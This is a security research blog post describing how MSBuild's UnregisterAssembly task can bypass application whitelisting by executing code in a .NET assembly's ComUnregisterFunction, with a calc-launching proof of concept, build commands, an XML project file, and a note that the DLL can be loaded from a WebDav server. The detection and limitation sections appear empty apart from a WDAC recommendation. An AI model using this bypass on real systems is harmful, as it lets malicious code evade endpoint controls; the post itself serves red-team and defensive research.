24 February 2020
TL;DR: Use MSBuild’s UnregisterAssembly task to execute arbitrary code in a .NET assembly.
A few weeks ago, Casey Smith (@SubTee) tweeted this out:
Followed by this:
Casey shared that instead of using the default “CreateInstance” function to execute a serialized .NET assembly via DotNetToJScript, we could use the UnregisterFunction from the System.Runtime.InteropServices.RegistrationServices class to “Unregister” an assembly and execute arbitrary code.
Basically, we place our malicious code in a ComUnregisterFunction in our .NET assembly and call UnregisterAssembly to execute it.
This tactic reminds me of the InstallUtil application whitelisting bypass where we call InstallUtil.exe with the uninstall flag (/u) and point it to a .NET assembly with malicious code located in an Uninstall function.
Anyway, this is an awesome technique and an easy way to alter the default output from tools like DotNetToJScript. But let's get back to MSBuild.
After investigating the Interop Registration Services class a bit more, I stumbled upon MSBuild’s “Unregister Assembly” documentation on MSDN. Specifically, I landed on this page:
Based on Microsoft's documentation, it looks like we can call MSBuild to unregister an assembly. When we execute an UnregisterAssembly task using MSBuild, it searches our .NET assembly for a ComUnregisterFunction (just like @SubTee's example above) and executes the code in that function.
I copied down the default XML code provided on MSDN for the UnregisterAssembly task and modified the assembly path to point to a locally hosted dll that opens the calculator app.
Sure enough, when you call MSbuild.exe with an UnregisterAssembly task in an XML file, it will execute whatever code you include in the ComUnregisterFunction in the referenced DLL.
Here's a quick video of the bypass in action:
To summarize, here are the steps to get this bypass to work:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[ComVisible(true)]
public class Sample
{
//Any function name works
[ComUnregisterFunction]
public static void Unregister(string str)
{
//Arbitrary code inserted here
Process.Start("calc");
}
}
2. Compile your code into a .NET assembly.
csc.exe /target:library unregister.cs
3. Modify the XML file from MSDN so that the OutputPath value is equal to the folder where your DLL lives and the FileName is the name of your DLL.
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<OutputPath>C:\Users\ponce\Desktop</OutputPath>
<FileName>\unregister.dll</FileName>
</PropertyGroup>
<Target Name="UnregisterAssemblies">
<UnregisterAssembly
Condition="Exists('$(OutputPath)$(FileName)')"
Assemblies="$(OutputPath)$(FileName)" />
</Target>
</Project>
4. Run msbuild.exe and provide it the path to this xml file.
msbuild.exe unregister.xml
After discovering this bypass, we shared our findings with Casey and he recommended looking for a way to host the assembly remotely. Sure enough, it’s possible.
After a bit of trial and error, I discovered that hosting the .NET assembly on a WebDav server yields the same results as if you were hosting it locally. Here’s a quick video demonstrating code execution via a remotely hosted DLL on a WebDav server:
Not sure how to deploy a WebDav server? I wasn't until I needed it for this. Checkout BlackHill's article: https://www.blackhillsinfosec.com/deploying-a-webdav-server/
*One thing to note: when you’re updating the FileName for the .NET Assembly hosted on the WebDav server, the name MUST be proceeded by a “\”. That was discovered after lots of frustration.
So, why is this bypass useful?
What are the limitations?
How can defenders detect this?
Generally, we recommend protecting your environment against this bypass and many other similar tactics by using Device Guard (WDAC).
Written By: Joe Leon